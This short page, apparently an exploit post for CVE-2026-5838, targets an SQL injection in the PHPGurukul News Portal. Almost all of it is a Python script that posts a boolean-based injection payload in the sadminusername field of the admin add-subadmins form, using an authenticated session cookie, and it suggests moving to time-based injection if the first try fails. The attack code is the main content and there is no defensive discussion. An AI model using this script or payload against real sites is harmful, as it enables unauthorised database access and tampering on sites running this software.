CVE-2026-5838 PHPGurukul新闻门户SQL注入漏洞

import requests # Target URL url = "http://target.com/admin/add-subadmins.php" # Cookies for authenticated session (High Privilege Required) cookies = { "PHPSESSID": "j5h8g2k1..." } # Payload for SQL Injection # Testing with a simple boolean-based injection payload = { "sadminusername": "admin' AND 1=1-- -", "sadminpassword": "test", "submit": "Add" } try: response = requests.post(url, data=payload, cookies=cookies) # Analyze response to confirm vulnerability if "success" in response.text or response.status_code == 200: print("Payload sent successfully. Check for database errors or changes.") else: print("No immediate indication of vulnerability, try time-based.") except Exception as e: print(f"An error occurred: {e}")